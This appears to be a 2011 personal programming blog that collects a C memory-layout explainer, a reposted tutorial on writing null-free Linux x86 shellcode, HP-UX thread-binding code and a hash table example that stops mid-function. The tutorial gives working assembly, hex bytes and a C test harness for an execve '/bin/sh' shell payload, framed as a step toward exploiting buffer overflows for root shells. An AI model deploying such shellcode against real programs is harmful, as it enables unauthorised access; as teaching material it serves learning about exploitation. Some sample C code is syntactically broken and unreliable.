Search in shivacherukuri.tech@blogger.com

Thursday, March 17, 2011

memory layout in c..data segment,bss, code segment, stack, heap segment

When we come across memory segments in C program these are the questions that comes to our mind.

  • What happens when a c program is loaded into memory?
  • Where are the different types of variables allocated?
  • Why do we need two data sections, initialized and un-initialized?
  • If we initialize a static or global variable with 0 where will it be stored?


Even though the scope of global and static variables are different, why are they stored in same section i.e., data segment?

Let's look at some of these interesting under hood details here. We know that a C program which is compiled to an executable and loaded into memory for execution has 4 main segments in memory. They are data, code, stack, and heap segments.

cmemory003
Memorylayout

Global and function static variables are allocated in the data segment. The compiler converts the executable statements in C program such as printf("hello world"); into machine code. They are loaded in the code segment. When the program executes, function calls are made. Executing each function requires allocation of memory, as if in a frame to store different information like the return pointer, local variable…etc. since this allocation is done in the stack, these are known as stack frames. When we do dynamic memory allocation, such as the use of the malloc function, memory is allocated in the heap area.
Static and Dynamic Segments

ccompilerlinker006

The data and code segments are of fixed size. When a program is compiled, at that point itself, the sizes required for the segments are fixed and known. Hence they are known as static segments. The sizes of the stack and heap areas are not known when the program gets compiled. Also it is possible to change or configure the sizes of these areas (i.e., increase or decrease). So, these are called dynamic segments.
Let's look at each of these segments in detail.

Data segment:- the data segment is to hold the value of those variables that need to be available throughout the life time of the program. So it is obvious that global variables should be allocated in the data segment. How about local variables declared as static? Yes, they are also allocated in the data area because their values should be available across function calls. If they are allocated in the stack frame itself, they will get destroyed once the function returns. The only option is to allocate them in a global area. Hence, they are allocated in this segment. So, the life time of a local static variable is that of the life time of the program.

There are two parts in this segment. The initialized data segment and u-initialized data segment.
When variables are initialized to some value (other than 0 or which is different value), they are allocated in the initialized segment. When the variables are un initialized they get allocated in the un-initialized data segment. This segment is usually referred to with cryptic acronym called BSS. It stands for block starting with symbol and gets its name from old IBM systems which had that segments initialized to zero.
The data area is separated into two based on explicit initialization, because the variables that are need to be initialized need not be initialized with zeros one by one. However the variables that are not initialized need not to be explicitly initialized with zeros one by one. Instead the job of initialization of variables to zero is left to the operating system to take care of. This bulk initialization can greatly reduce the time required to load.

When we want to run an executable program, the OS starts a program known as loader. When this loads the file into memory, it takes the BSS segment and initializes the whole thing to zeros. That is why the un-initialized global data and static data always get the default value of zero.

The layout of data segment is in the control of the underlying OS. However some loaders give partial control to the users. This information may be useful in applications such as embedded systems.
The data area can be addressed and accessed using pointers from the code. Automatic variables have an overhead in initializing the variables each time they are required, and code is required to do that initialization. However, variables in the data area do not have such runtime overhead, because the initialization is done only once and that too at loading time.

Code segment:- the program code is where the executable code is available for execution. This area is also known as the text segment and is of fixed size. This can be accessed only by function pointers and not by other data pointers. Another important piece of information to take note of here is that the system may consider this area as a read only memory area and any attempt to write in this area can lead to undefined behavior.

Stack and heap segments:- to execute the program two major parts of the memory used are stack and heap. Stack frames area created in the stack for functions and in the heap for dynamic memory allocation. The stack and heap are un-initialized areas. Therefore whatever happens to be in the memory becomes the initial (garbage) value for the objects created in that space.

The local variable and function arguments are allocated in the stack. For the local variables that have an initialization value, code is generated by the compiler to initialize them explicitly to those values when the stack frames are created. For function parameters the compiler generates code to copy the actual arguments to the space allocated for the parameters in the stack frame.

Here, we will take a small program and see where different program elements are stored when that program executes. The comments explain where the variables get stored.

int bss1;
static double bss2;
char *bss3;
// these are stored in initialized to zero segment also known as un-initialized data segment(BSS)
int init1=0;
float init2=10.0f
char *init3="hello world";
// these are stored in initialized data segment
// the code for main function gets stored in the code segment
int main
{
int local1=10; // this variable is stored in the stack and initialization code is generated by compiler.
int local2; //this variable is not initialized hence it has garbage value. It does not get initialized to zero.
static int local3; // this is allocated in the BSS segment and gets initialized to zero
static int local4=100; //this gets allocated in initialed data segment
int (*local-foo) (const char* —)= printf; // printf is in a shared library (libc or c runtime library)
// load-foo is a local variable(function pointer) that points to the printf function local-foo("hello world"); this function call results in the creation of stack frame in stack area
int *loacl5=malloc(sizeof(int));
// allocated in stack however it points to dynamically allocated block in heap.
return 0;
// stack frame for the main function gets destroyed after executing main
}

There several tools to check where a variable gets stored in the memory. But the easy to use tool is nm.

Using nm tool

Gcc program name
nm ./a.out

if no arguments are given to nm, it assumes that it should take the input as a.out and we will get some cryptic output like below.

nmall

Where the symbols that we did not type are come from? They have been inserted behind the screen by compiler for various reasons. We can ignore them for now.

Now what are those strange numbers, followed by letters (b, B, t). The numbers are the symbol values followed by the symbol type (displayed as a letter) and the symbol name.

The symbol type requires more explanation. A lowercase means it is local variable and uppercase means global (externally available from the file).
B un-initialized data section (BSS)
D initialized data section
T text/code section
U un identified

Example 1: nm ./a.out | grep bss

dss

Variables bss1, bss3 got allocated in the BSS segment (global) since we put the class as static for variable bss2, it is listed as b (accessible with in the file).

Example 2: nm ./a.out | grep init

init

These are explicitly initialized and are allocated into initialized data section.

Example 3: nm ./a.out | grep local

local

Only local3 and local4 are allocated global memory. Since local3 is un-initialized it is allocated in the BSS and since local 4 is explicitly initialized it is allocated in the initialized data segment. As both are local they are indicated by small letters. Since they are local to the function and to avoid accidental mixing them up with other local variables with the same name they have been suffixed by some numbers. (Compilers differ in their approaches in treating local static variables. This approach is for gcc ).

08048354 T main
U malloc@@GLIBC_2.0
U printf@@ GLIBC_2.0

The main function is allocated in the text/code segment. Obviously we can access this function from outside the file ( to start the execution ). So the type of this symbol is T.

The malloc and printf function used in the program are not defined in the program itself ( header files only declare them, they don't define them ). They are defined in the shared library GLIBC, version 2.0. that's what the suffix @@GLIBC_@.0 implies.

Sunday, February 20, 2011

Byte code writing

Ive written a tutorial about bytecode writing, and I'm wondering what you guys think of it. Before I submit it to asta, I want to remove any inaccurities or something not explained properly.
So please, any advice? Any criticism is more than accepted

But above all, I hope you guys like it....

Bytecode Writing

For several types of exploits â€" such as buffer overflows and format bugs â€" it's useful to write bytecode. There are other ways to exploit them, such as the “return into libcâ€� method. Though most of these vulnerabilities are exploited using bytecode, because you have a lot more power.
Bytecode is code which can be injected into programs by exploiting vulnerabilities, and when executed it will do whatever the attacker injected into the program. Oftentimes it will create a shell, either remote or with root permissions. In this case, the bytecode is called “Shellcode�.

Let's say there's a program prone to a buffer overflow by sending something over the internet. An attacker can create bytecode, and exploit the vulnerability this way to get a shell on your computer, giving him the ability to run commands on your computer.
Or if the attacker already has access to the computer, he may inject his bytecode into a program which is ran as root. His source will be ran as root, and will give him a root shell in case that's what the source was programmed to do (and it worked properly).

I will not explain how to exploit buffer overflows or how to find the proper return address. I will only explain how to write bytecode. Knowledge about buffer overflows and such is useful, but not required. However, to be able to actually use this, you must have knowledge about the vulnerability you want to exploit. Knowledge about programming is useful as well. For the sake of brevity, I am not going to explain every concept of programming. Also, this tutorial will be about writing bytecode for Linux for the x86 architecture. If you use Windows, it won't be hard to write bytecode for Windows after reading this.


First, let's start off with a simple assembly program. Open up and create a file called “shell1.asm� with the contents:
<shell1.asm >
SECTION .text
global _start
_start:
mov eax, 4; System call 4: write();
mov ebx, 1; Argument 1: file descriptor 1 (STDOUT)
mov ecx, helloworld; Argument 2: The message to write
mov edx, 15; Argument 3: The size of the message
int 80h; Execute the systemcall

mov eax, 1; System call 1: exit();
mov ebx, 0; Argument 1: The errorcode (0).
int 80h; Execute the systemcall
SECTION .data
helloworld db "Hello, world..."
<EOF>

Now compile and execute this with the following commands (you will need the program “nasm� to do this):
<commands>
$ nasm -f elf shell1.asm
$ ld shell1.o
$ ./a.out
Hello, world...$
</commands>

As you see, it shows the “Hello, world...� message. However, this is a long way from proper bytecode. This can't be injected into a program yet for several reasons. But before I get to that, let me explain how this program works.
One note before I explain this: everything behind ';' are comments. These are ignored, and only readable when you have the source file. I won't add those here, because it will be completely explained anyway. Comments just make the file more readable.

SECTION .text
This indicates the start of the code section. This section just contains all of the code of the program.

global _start
This will make the label “_start� global, so that it can be used as begin point. See the next line.

_start:
This is a label with the name “_start�. This is the location where the execution of your program will begin. The command under this, will be the first to be executed.

mov eax, 4
Mov copies the second operand (after the comma), to the first operand (before the comma). So this copies the value “4� into the register eax. Registers are inside the processor. There are several registers. They either store a byte, a word, or a double word (dword). There are several uses for them. They can be used for storing something for a little while. This is useful, because reading or writing to registers is a lot quicker than reading or writing to the memory (since it's in the processor itself).
These registers are called “General Purpose� registers. You can modify them, although there are also registers you can not modify without some nifty tricks. At this point, only general purpose registers are important, so I won't cover the others.

A byte are 8 bits. One bit is either one or zero, so there are 2 ^ 8 = 256 possible values in a byte. Since the first possible value is zero and not one, the maximum value of one byte is 255. The registers which can store one byte are called: al, bl, cl, dl, ah, bh, ch and dh.
There are also registers that store one word. This are two bytes, thus 16 bits. There are 256 ^ 2 = 2 ^ 16 = 65536 possible values, so the maximum value is 65535. The registers which can store words are called: ax, bx, cx, dx, si, di, bp and sp.
A double word (or dword) are two words, thus 4 bytes, thus 32 bits. This means there are 65536 ^ 2 = 256 ^ 4 = 2 ^ 32 = 4294967296 values possible. So the highest number which can be stored in a dword-register is that number minus one, 4294967295. The registers that can store dwords are called: eax, ebx, ecx, edx, esi, edi, ebp and esp.

This doesn't, however, mean there are 24 general purpose registers. It seems that way, but it's not true. This is because one register is a part of another. For example, ax are the low two bytes of the register eax.
So if the register eax contains the four bytes “AA BB CC DD� (those values are hex, you should know what hex is), the register ax would be “CC DD�. When you modify this register, ax, in for example the bytes “BB AA�, eax would change as well, into “AA BB BB AA�.
The register ax are the low two bytes from eax, meaning they are the least significant two bytes. There is no register which is the high two bytes from eax, thus the most significant.
This is demonstrated below.
< Image here isn't available in this version >

The same holds true for ebx with bx, bh and bl, for ecx with cx, ch and cl and for edx with dx, dh and dl.
The remaining dword-registers are esi, edi, ebp and esp. The remaining word-registers are “si, di, bp and sp�. As you might have guessed, si are the low word (two bytes) of esi (the least significant), di the low word of edi, bp the low word of ebp and sp the low word of esp.
Keep in mind, if you change one, you change the other(s).

Now back to the source.
mov eax, 4
The eax register will become 4. But why four? To explain this, I must first explain a little bit more about bytecode.

Bytecode must be self-sufficient. You can not call a C function easily, making the bytecode work wherever you put it. For this, we need another way to execute our commands.
There is another way to execute the main C functions. This is done by “interrupt 80h�. Interrupts can be compared to functions; the source gets executed belonging to the 80h interrupt, and then it will return the normal path of the program.
Interrupt 80h is the main Linux interrupt. When you call this, you can do a lot of things. However, you must specify what exactly you want to do. Interrupt 80h has over 250 possible functions it can execute.

First we should decide what we actually want. We want to write something to the screen first. Now we need a list of possible actions of interrupt 80h. There is such a list, and it's in the file /usr/include/asm/unistd.h. You can view them all by using:
<command>
$ cat /usr/include/asm/unistd.h |grep “define __NR_�
</command>

The reason this works is just the way the file is made.
You will see the list of all possible actions, all in the following format:
#define __NR_<funcname> <funcid>
Where <funcname> is the name of the function, and <funcid> the id. Have a look at the list. We want to write to the screen. We'll use “write� for that:
#define __NR_write 4

The function id is 4. We need interrupt 80h to know this. To let it know this, we have to move it into “eax�.

This explains “mov eax, 4�. When interrrupt 80h is called, it will execute the “write� C function.
Let's move on to the next line.

mov ebx, 1
We are calling the write(); C-function. Let's have a look how to use this function. Execute the following command:
<command>
$ man 2 write
</command>
This will show the manual for “write�. The two indicates it must look for a systemcall.

Note it's definition:
ssize_t write(int fd, const void *buf, size_t count);
There are three parameters, and we need to specify them as well. The parameters are:
fd: The file descriptor to write to. We want to write to the screen. This is STDOU (Standard output). The number of this file descriptor is 1. So we want the first parameter to be 1.
buf: A pointer to the text we want to show on the screen. We want to show the message “Hello, world...�, so it must be a pointer to a place in the memory with that data.
Count: The amount of bytes we want to write to the screen. We want to write 15 bytes to the screen (the length of the message “Hello, world...�), so this parameter must be 15.

So in C, we would simply call:
write(1, “Hello, world...�, 15);

Now we need a way to specify those parameters. In assembly, using interrupt 80h, this is done with ebx, ecx and edx. Ebx is the first parameter, ecx the second, and edx the third.

Since we want the first parameter to be one, we need to move one into ebx.
This is what “mov ebx, 1� does.


mov ecx, helloworld
In this case, helloworld is a pointer. This will be defined in the last line. This pointer points to a location in the memory, containing the string “Hello, world...�. This pointer is moved into ecx, the second parameter to the write function.

mov edx, 15
The third parameter, the length of the string to write, must be put in edx.


At this point, we are done setting up the registers. We can call interrupt 80h, and it will understand exactly what we want to do. We call interrupt 80h with the following line:
int 80h
Done. The text appears on the screen (the h indicates the number is hexadecimal).

Though we are not done yet. We need to exit the program, or else we will get error message because it's trying to run malicious data.


Have a look again at the list of available commands with the 80h interrupt. Note the first line:
#define __NR_exit 1
The exit system call. Have a look at it by typing the command “man 2 exit�.

This one only requires one parameter. The status. Let's just use status 0, indicating no error.
The id of the exit systemcall is 1, so we must move that in eax. So that's what we do first:
mov eax, 1
Next, we need to move the status code into the first parameter register, ebx:
mov ebx, 0

Now we're done again, and we can call interrupt 80h. This will terminate the program:
int 80h


We have two more lines.
SECTION .data
This will mark the end of the section with the code (see the first line), and mark the section with the data.

helloworld db "Hello, world..."
This puts the text “Hello, world...� into the memory. This will be done in the size of bytes (db = define byte, dw = define word, dd = define dword). A pointer to this string will be put in the value “helloworld�. This pointer will be put into a register, so that it will print that text, hence the line “mov ecx, helloworld�.



We have a working program now, but not yet a bytecode. There are two more problems in this code, which have to be solved.

The first problem is the pointer to the string, “Hello, world...�. This won't work in bytecode because the address of it is calculated during runtime.
There are multiple solutions for this, but the most popular â€" and far most the best one â€" is the stack.

The stack is a stack of data, stored in double words. You can “push� a value in it, and then “pop� the same value out of it again. The system it uses is LIFO (Last In First Out), sometimes called FILO (First In Last Out).
When the program starts, the register ESP will be set to the highest place in memory of the stack. This is a place it may not write to. When the push command is used to write something to the stack, esp is first decreased by 4 bytes (or one dword). Then the data you want to push on the stack is stored on the location ESP points to.

The x86 architecture uses so called little-endian. This means the bytes are stored in reverse order. So “Hello, world...� is stored as “...dlrow ,olleH�.
So after pushing all this data on the stack, ESP is the pointer to the string “Hello, world...�. We can now use this as pointer for write by moving it into ecx.

Let's convert it to hexadecimal first. We want to push “...dlrow, olleH� (since it's stored in reverse), but we need the hexadecimal equivalent first. Use “man ascii� to get a list of characters. Search every character one by one, and look on the column left to it. The result will be:
2E 2E 2E 64 6C 72 6F 77 20 2C 6F 6C 6C 65 48

Now we need to push this data on the stack. Note that you are pushing dwords, so you must use 4 hexadecimal values after each other, and indicate this is a hex value. You can indicate this by either appending an 'h' to it, or prepending '0x' in front of it. I will use this last one.
Also,the last thing to push â€" the first characters â€" must always be four characters. The next example is wrong:
push 0x2E2E2E64
push 0x6C726F77
push 0x202C6F6C
push 0x6C6548

Why is this wrong? Remember it pushes dwords. The last value, however, isn't a dword. A 00-byte will be prepended, actually pushing “0x006C6548�. Since these are the first few characters, this will be shown. We must use the 00-byte at the end of the string, which will be ignored anyway, because we specified the length of the string.
Here's the right way to push the string on the stack:
push 0x2E2E2E
push 0x646C726F
push 0x77202C6F
push 0x6C6C6548

The first line is the same as “push 0x002E2E2E�.
Now, since ESP points to the last thing pushed on the stack, ESP is a pointer to the string “Hello, world...�. By moving that into ecx, it will get a pointer without using “define byte� (db):
<shell2.asm>
BITS 32
SECTION .text
global _start
_start:
; Push the string “Hello, world...� on the stack
push 0x2E2E2E; Push “...�
push 0x646C726F; Push “dlro�
push 0x77202C6F; Push “w ,o�
push 0x6C6C6548; Push “lleH�

mov eax, 4; System call 4: write();
mov ebx, 1; Argument 1: file descriptor 1 (STDOUT)
mov ecx, esp; Argument 2: The message to write
mov edx, 15; Argument 3: The size of the message
int 80h; Execute the systemcall

mov eax, 1; System call 1: exit();
mov ebx, 0; Argument 1: The errorcode (0).
int 80h; Execute the systemcall
<EOF>

I added “BITS 32� this time. This indicates it's a 32 bits file. We need this later.
There is, however, one more problem we need to fix. The data (including the bytecode) is almost always copied with string functions, such as “strcpy�.
This will copy the data until it reaches a 00-byte. This indicates the end of the string. First, let's compile our bytecode:
<command>
$ nasm shell2.asm
</command>

This creates a program which is not executable. It only contains the binary code. Great for us; that's exactly what we want. Now let's have a look at the data inside shell2:
<command>
$ hexdump -C shell2
00000000 68 2e 2e 2e 00 68 6f 72 6c 64 68 6f 2c 20 77 68 |h....horldho, wh|
00000010 48 65 6c 6c b8 04 00 00 00 bb 01 00 00 00 89 e1 |Hell............|
00000020 ba 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 |................|
00000030 00 cd 80 |...|
00000033
</command>

All those 00-bytes will be seen as the end of the string. This isn't allowed, we must remove all those 00-bytes. First let's look at the source of this problem.

One of the most obvious sources is:
mov ebx, 0
This moves 0 into ebx. When this is assembled, this will become a 00-byte. However, since we are moving a dword of data, “mov ebx, 0� will actually become “mov ebx, 0x00000000�. Four 00-bytes will be compiled in. We need another way to zero this ebx register.

Xor is a logical operator. It takes two “operands�, and they will be XOR'ed. The results of XOR are:
0 xor 0 = 0
1 xor 0 = 1
0 xor 1 = 1
1 xor 1 = 0
Now if you xor something with itself, the result is always 0. There, we can xor the ebx register with itself to set it to zero:
xor ebx, ebx
Those are four 00-bytes less. But there are more.

push 0x2E2E2E
It pushes a dword, so it's modified into “0x002E2E2E�. Another 00-byte. The useful thing is, this is the 16th byte of the string. We only print 15 bytes, and the rest will be ignored. So we can change it into anything we want. We could change it into:
push 0x2E2E2E2E
And another 00-byte is gone.

mov eax, 4
This one is a bit harder. This will be compiled into “00000004�. We need to remove those 00-bytes. But note that if eax equals 0, “mov al, 4� does exactly the same thing as “mov eax, 4�. But you only copy one byte by using “mov al, 4�, so this won't be changed into “00000004�, but just remain “04�.
So if you just zero out eax first, without any 00-bytes:
xor eax, eax
And then change the low byte into four:
mov al, 4
We got the same result, without 00-bytes.

mov ebx, 1
We can do this one the same way as the last one. However, there's a quicker way. If we just zero out ebx first:
xor ebx, ebx
And then use another command, “inc�, to increase ebx with one, we also get the same result:
inc ebx
And this will be compiled slightly smaller than using mov to the low-byte.

You can do the same with the rest. The result will be shell3.asm:
<shell3.asm>
BITS 32
SECTION .text
global _start
_start:
; Push the string “Hello, world...� on the stack
push 0x2E2E2E2E; Push “....� (first '.' is ignored)
push 0x646C726F; Push “dlro�
push 0x77202C6F; Push “w ,o�
push 0x6C6C6548; Push “lleH�

; System call 4: write();
xor eax, eax; Set eax to 0
mov al, 4; Move 4 to the low byte of eax

; Argument 1: file descriptor 1 (STDOUT)
xor ebx, ebx; Set ebx to 0
inc ebx; Increase ebx to 1

mov ecx, esp; Argument 2: The message to write

; Argument 3: The size of the message
xor edx, edx; Set edx to 0
mov dl, 15; Move 15 in the low byte of edx

int 80h; Execute the systemcall

; System call 1: exit();
xor eax, eax; Set eax to 0
inc eax; Increase eax to 1

; Argument 1: The errorcode (0).
xor ebx, ebx; Set ebx to 0

int 80h; Execute the systemcall
<EOF>

Let's test it first, and then look at whether there are any 00-bytes remaining:
<commands>
$ nasm -f elf shell3.asm
$ ld shell3.o
$ ./a.out
Hello, world...$ nasm shell3.asm
$ hexdump -C shell3
00000000 68 2e 2e 2e 2e 68 6f 72 6c 64 68 6f 2c 20 77 68 |h....horldho, wh|
00000010 48 65 6c 6c 31 c0 b0 04 31 db 43 89 e1 31 d2 b2 |Hell1...1.C..1..|
00000020 0f cd 80 31 c0 40 31 db cd 80 |...1.@1...|
0000002a
</commands>

As you can see, all the 00-bytes are gone! We had to recompile it again, because “ld� puts crap in it we don't want as bytecode. We have to recompile it just by typing “nasm shell3.asm�. This will create a file “shell3�. It's not executable, but it only contains the data we need.

Let's test the bytecode. As seen above, the hexadecimal data of our bytecode is:
68 2e 2e 2e 2e 68 6f 72 6c 64 68 6f 2c 20 77 68 48 65 6c 6c 31 c0 b0 04 31 db 43 89 e1 31 d2 b2 0f cd 80 31 c0 40 31 db cd 80

We will make a C-file to test it. You will need to put \x before every of the numbers, to indicate it's hexadecimal to the C compiler, and remove the spaces:
\x68\x2e\x2e\x2e\x2e\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31\xdb\x43\x89\xe1\x31\xd2\xb2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80

Here's the file to run this with:
<testshell.c>
char* bytecode =
"\x68\x2e\x2e\x2e\x2e\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20"
"\x77\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31\xdb\x43\x89"
"\xe1\x31\xd2\xb2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80";

int main()
{
void (*f)() = (void*)bytecode;

f();
}
<EOF>

This will create a function, f, whose address is the bytecode. When calling “f();�, it will be executed. Here's how to actually run this:
<commands>
$ make testshell
$ ./testshell
Hello, world...
</commands>



Congratulations! You have made a bytecode.
However, why would you want to execute a write on the screen? That's pretty useless.






Now let's write an actual shellcode. All it has to do is execute “/bin/sh�. Have a look at the interrupt 80h list again, and find the interrupt we can use for this:
#define __NR_execve 11

Look at the manual (“man 2 execve�).
int execve(const char *filename, char *const argv[], char *const envp]);


Think about what we have to do (don't forget to read the manual properly).
What we have to do:
- Set eax to 11, to specify the execve call.
- Put a pointer to the file to run in ebx. Make sure it ends with a 00-byte to specify the end of the filename.
- Create a pointer to the pointer of the filename, and make sure there are four 00-bytes after it to specify the end of the argv array. Put this in ecx.
- Put a pointer to four 00-bytes to specify the end of the envp structure.

The best way is to put this all in the stack:
<shell4.asm>
BITS 32
SECTION .text
global _start
_start:
; First push a 0-dword to the stack, to specify the end of the
; string /bin//sh
xor eax, eax; Set eax to 0
push eax; Push this

; Push /bin//sh to the stack
; We use two slashes because we MUST push 4 bytes a time. And
; this will work fine...
push 0x68732F2F; Push "hs//"
push 0x6E69622F; Push "nib/"

; Copy the pointer of this to ebx: the program to run
mov ebx, esp; Set argument 1

; Push a 00-dword (4 00-bytes) to indicate the end of the array
; eax is still 0 (done before)
push eax; Push the 0-dword

; The pointer to this dword is the last argument, since we don't
; want any environment pointer.
mov edx, esp; Set argument 3

; Push the pointer to the /bin//sh string
push ebx; Push the pointer

; The pointer to this is the argument array, argument 2
mov ecx, esp; Set argument 2

; Now we have to specify we want call 11, execve
; eax is 0 already
mov al, 11; Set eax to 11

int 80h; Run the interrupt to execute it


; Exit the program
xor ebx, ebx; Use parameter 0
mov al, 1; Set eax to 1 (exit call)
int 80h; Execute it
<EOF>

You should understand this by now.

Now try to run it again:
<commands>
$ nasm -f elf shell4.asm
$ ld shell4.o
$ ./a.out
sh-2.05b$
</commands>

We have a shell! This isn't root, because the code isn't ran as root. Let's first check it for 00-bytes:
<commands>
$ nasm shell4.asm
$ hexdump -C shell4
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|
00000010 89 e2 53 89 e1 b0 0b cd 80 31 db b0 01 cd 80 |..S......1.....|
0000001f
</commands>


No 00-bytes. Now let's test it as C-file:
<shelltest.c>
char* shellcode =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x31"
"\xdb\xb0\x01\xcd\x80";

int main()
{
void (*f)() = (void*)shellcode;

f();
}
<EOF>

<commands>
$ make shelltest
$ ./shelltest
sh-2.05b$
</commands>


One problem here, though. Most programs temporarily drop their rights, so that they can recover them later. Our shellcode must first get those rights back. It won't harm to do it when the rights aren't dropped, but it won't work if you don't do it when the rights are dropped. So you should always do it.

The rights must be recovered using the function setreuid();. Try to make this yourself, you should be able to do this. I've gotten you far enough, and I don't want script-kiddies to steal everything here.

And the rest should be pretty easy, as long as you know C.

--

Binding a thread/process to a spu

 

Please go through the following sample call for binding a processor thread to a spu:

 

# cat nu_ht.c  sample_itc.c

#include <stdio.h>

#include <stdlib.h>

#include <pthread.h>

#include <errno.h>

#include <string.h>

#include <unistd.h>

#include <assert.h>

#define _PSTAT64

#include <sys/pstat.h>

 

 

#define MAXCPUS         (8)

 

typedef uint64_t pcarray[2][4][MAXCPUS][2]; pcarray pca;

pthread_spu_t check_spu = -1;

 

 

void* busy_thrd(void *); /* this thread busy loops in a processor */

void* pstat_thrd(void *); /* this thread continuously monitors pstat call on sibiling thread */

int setarray(int t);

 

 

int main(int argc, char* argv[])

{

  pthread_t bthrd, pthrd;

  pthread_spu_t spu1, spu2;

 

  printf ("where do you want to run busy thread: ");

  scanf ("%d", &spu1);

  printf ("where do you want to run pstat thread: ");

  scanf ("%d", &spu2);

  printf ("Where do you want to check: ");

  scanf ("%d", &check_spu);

 

  if (pthread_create(&bthrd, 0, busy_thrd,(void *) &spu1) != 0)   {

     printf("Printing busy thread create failed\n");

     exit(0);

     }

  else    {

     printf("Printing thread id = %d created.\n", bthrd);

     }

 

  if (pthread_create(&pthrd, 0, pstat_thrd,(void *) &spu2) != 0)   {

     printf("Printing pstat thread create failed\n");

     exit(0);

     }

  else    {

     printf("Printing thread id = %d created.\n", pthrd);

     }

 

//  Now unblock suspended threads.

//  pthread_continue(pthrd);

//  pthread_continue(bthrd);

 

 

//  Wait for both threads to finish

  pthread_join(pthrd, 0);

  pthread_join(bthrd, 0);

 

 

  printf("main ends after threads %d and %d\n", pthrd, bthrd);

 

  return 0;

}

 

void* busy_thrd(void *p)

{

   pthread_spu_t spu = *((pthread_spu_t *) p);

   pthread_spu_t ans_spu;

   printf ("We are in busy thread on spu: %d\n", *((int *) p));

   if (pthread_processor_bind_np (PTHREAD_BIND_FORCED_NP, &ans_spu,

                                  spu, PTHREAD_SELFTID_NP) != 0) {

       printf("Printing busy thread bind failed.\n");

       }

   else

       printf ("Busy thread> Bind to spu, %d .... SUCESS\n", ans_spu);

   while (1);

}

 

 

void* pstat_thrd(void *p)

{

   pthread_spu_t spu = *((pthread_spu_t *) p);

   pthread_spu_t ans_spu;

   int cpu, state, oldt, newt, cpus, r;

   unsigned int counter = 0;

 

   printf ("We are in pstat thread on spu: %d\n", *((int *) p));

   if (pthread_processor_bind_np (PTHREAD_BIND_FORCED_NP, &ans_spu,

                                  spu, PTHREAD_SELFTID_NP) != 0) {

       printf("Printing pstat thread bind failed.\n");

       }

   else

       printf ("pstat thread> Bind to spu, %d .... SUCESS\n", ans_spu);

 

   cpus = setarray(oldt = 0);

   newt = 1;

   while ( cpus > 0 ) {

        r = setarray(newt);

        if ( cpus > r )

          cpus = r;

        for ( state=0; state<4; ++state )

//           for ( cpu=0; cpu<cpus; ++cpu ) {

              if ( ( pca[newt][state][check_spu][1] < pca[oldt][state][check_spu][1] )  &&

                   ( pca[newt][state][check_spu][0] <= pca[oldt][state][check_spu][0] ) ) {

                  printf("pca[%d][%3d]=%llu.%llu <",state,check_spu,

                          pca[newt][state][check_spu][0],pca[newt][state][check_spu][1] );

                  printf("pca[%d][%3d]=%llu.%llu\n",state,check_spu,

                          pca[oldt][state][check_spu][0],pca[oldt][state][check_spu][1] );

              }

//        }

        newt = 1 - newt;

        oldt = 1 - oldt;

   }

}

 

int setarray(int t) {

 int cpu,r;

 struct pst_processor pgp[MAXCPUS];

 

 if ( ( r = pstat_getprocessor(&pgp[0],sizeof(pgp[0]),MAXCPUS,0) ) <= 0 ) {

   perror("pstat_getprocessor");

   exit(1);

 }

 for ( cpu=0; cpu<r; ++cpu) {

    pca[t][0][cpu][0] = pgp[cpu].psp_usercycles.psc_hi;

    pca[t][0][cpu][1] = pgp[cpu].psp_usercycles.psc_lo;

    pca[t][1][cpu][0] = pgp[cpu].psp_systemcycles.psc_hi;

    pca[t][1][cpu][1] = pgp[cpu].psp_systemcycles.psc_lo;

    pca[t][2][cpu][0] = pgp[cpu].psp_interruptcycles.psc_hi;

    pca[t][2][cpu][1] = pgp[cpu].psp_interruptcycles.psc_lo;

    pca[t][3][cpu][0] = pgp[cpu].psp_idlecycles.psc_hi;

    pca[t][3][cpu][1] = pgp[cpu].psp_idlecycles.psc_lo;

    }

 return r;

}

 

 

sample_itc.c

 

#include <ia64/sys/kern_inline.h>

#include <stdio.h>

#include <pthread.h>

#include <stdlib.h>

#include <assert.h>

 

main()   {

    unsigned long old, new;

    pthread_spu_t spu;

 

    if ( pthread_processor_bind_np(PTHREAD_BIND_FORCED_NP, &spu,

                                   PTHREAD_SPUNOCHANGE_NP,

                                   PTHREAD_SELFTID_NP) != 0)   {

         printf("ERROR!! Unable to get processor bind info.\n");

         perror("ERROR!! Compute(processor bind info error)");

         exit (-10);

         }

 

    printf("Compute thread: processor bind = %d\n", spu);

 

    while (1) {

        if (old >= (new = _MOV_FROM_AR(_AREG_ITC))) {

            printf ("old: %lx, new: %lx\n", old, new);

            assert (0);

            }

        old = new;

        }

    }

 

#

 

 

 

[tech] Hash example in C

 

 

 

FYI,,

  http://www.c.happycodings.com/Data_Structures/code4.html

 

Hash example

 

Basic hash example

 

#include <stdio.h>

#include <stdlib.h>

 

#define HASHSIZE    1000

#define MAXLINE     1024

 

typedef struct tnode {

 char *data;

 struct tnode *next;

} node;

 

void htable_init(node *hashtable);                        // fire up hashtable

void htable_insert(node *hashtable, char *str);           // insert data into hashtable

void htable_resolve(node *hashtable, int loc, char *str); // resolve collisions in hashtable

void htable_display(node *hashtable);                     // display hashtable

int  htable_delete(node *hashtable, char *str);           // delete an entry from hashtable

int  htable_hash(char *str);                              // hash data for hashtable

 

int main(void) {

 char line[MAXLINE];

 node *hashtable;

 

 hashtable = (node *)malloc(HASHSIZE * sizeof(node));

 

 htable_init(hashtable);

 

 while((fgets(line, MAXLINE, stdin)) != NULL)

  htable_insert(hashtable, line);

 

 htable_display(hashtable);

 

 return 0;

}

 

/* fire up hashtable */

void htable_init(node *hashtable) {

 int i = 0;

 

 for(i = 0; i < HASHSIZE; i++)

  hashtable[i].data = NULL, hashtable[i].next = NULL;

}

 

/* insert data into hashtable */

void htable_insert(node *hashtable, char *str) {

 int index = 0;

 

 /*

 // determine hash function

 */

 index = htable_hash(str);

 if(hashtable[index].data != NULL) {

  /*

  // collision occurs - resolve by chaining

  */

  htable_resolve(hashtable, index, str);

